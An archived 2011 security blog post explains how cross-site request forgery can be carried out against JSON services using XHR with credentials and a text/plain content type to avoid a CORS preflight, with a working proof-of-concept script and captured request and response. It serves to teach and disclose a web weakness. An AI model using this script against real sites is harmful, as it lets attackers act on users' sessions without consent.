

CSRF with JSON – leveraging XHR and CORS

CSRF with JSON – leveraging XHR and CORS - Author not stated, shreeraj.blogspot.com.

- Published: date not stated
- Original: <https://shreeraj.blogspot.com/2011/11/csrf-with-json-leveraging-xhr-and-cors_28.html>
- Preserved from: https://shreeraj.blogspot.com/2011/11/csrf-with-json-leveraging-xhr-and-cors_28.html (live) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Same Origin Policy (SOP) dictates cross domain calls and allows establishment of cross domain connections. SOP bypasses allow CSRF attack vector, an attacker can inject a payload on cross domain page that initiate a request without consent or knowledge of the target user. HTML 5 is having one more policy in place called CORS (Cross Origin Resource Sharing). CORS is a “response blind” technique and controlled by extra added HTTP header “origin” and their variants but it allows request to hit the target in one way direction. Hence, it is possible to do one-way CSRF. It is possible to initiate CSRF vector using XHR-Level 2 on HTML 5 pages and can prove really lethal attack vector. XHR establishes a stealth connection and remains much hidden, XHR connection can be set using “*withCredentials*” as true along with POST method. It allows cookie to replay and helps in crafting successful CSRF scenario or session riding. Interestingly HTML 5 along with CORS allows performing file upload CSRF as well. It is possible to craft a JavaScript using XHR and inject JSON payload as cross domain. If server side code on JSON library is not validating the “Content-Type” then it will process the request and allows successful CSRF.

For example,

Here is a script which will do CSRF on cross domain.

```

6 <script language="javascript" type="text/javascript">
7
8 function getMe()
9 {
10     var http:
11     http = new XMLHttpRequest();
12
13     http.open("POST", "http://192.168.100.12/json/jservice.ashx", true);
14     http.setRequestHeader('Content-Type', 'text/plain');
15     http.withCredentials= "true";
16     http.onreadystatechange = function()
17     {
18         if (http.readyState == 4) {
19             var response = http.responseText;
20             document.getElementById('result').innerHTML = response;
21         }
22     }
23
24     http.send('{ "id":2,"method":"getProduct","params":{"id": 2}}');
25 }
26
27 getMe();
28 </script>

```

Here, we have "Content-Type" as "text/plain" and no new extra header added so CORS will not initiate OPTIONS to check rules on the server side and directly make POST request. At the same time we have kept credential to "true" so cookie will replay.

On the wire we can see following request.

#	host	method	URL
1	http://192.168.100.26	GET	/csrf/json.html
2	http://192.168.100.12	POST	/json/jservice.ashx

original request	auto-modified request	response
raw	params	headers
<pre> POST /json/jservice.ashx HTTP/1.1 Host: 192.168.100.12 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Content-Type: text/plain; charset=UTF-8 Referer: http://192.168.100.26/csrft/json.html Origin: http://192.168.100.26 Cookie: cid=10001 Pragma: no-cache Cache-Control: no-cache Content-Length: 51 {"id":2,"method":"getProduct","params":{"id": 2}} </pre>		

As you can see cookie is replayed and JSON POST has been initiated. We get following response back from application.

#	host	method	URL	params
1	http://192.168.100.26	GET	/csrf/json.html	
2	http://192.168.100.12	POST	/json/service.ashx	☒

original request	auto-modified request	response
------------------	-----------------------	----------

raw	headers	hex
-----	---------	-----

```

HTTP/1.1 200 OK
Date: Sun, 27 Nov 2011 22:00:06 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/plain; charset=utf-8
Content-Length: 921

{"id":1,"result":{"Products":{"columns":["product_id","product_name","pro
t_desc","product_price","image_path","rebates_file"],"rows":[[2,"Bend it
Drama","Who wants to cook Aloo Gobi when you can bend a ball like Beckham
London tries to raise their soccer-playing daughter in a traditional way.
sister, Pinky, who is preparing for an Indian wedding and a lifetime of c
chapatti, Jess' dream is to play soccer professionally like her hero Davi
against Jess' unorthodox ambition, her parents eventually reveal that the
to do with protecting her than with holding her back. When Jess is forced

```

Application processed the request and sent JSON back. It is clear case of CSRF. This can be applied to other streams as well.

Archived from https://shreeraj.blogspot.com/2011/11/csrf-with-json-leveraging-xhr-and-cors_28.html. Rendered offline from the local Markdown copy.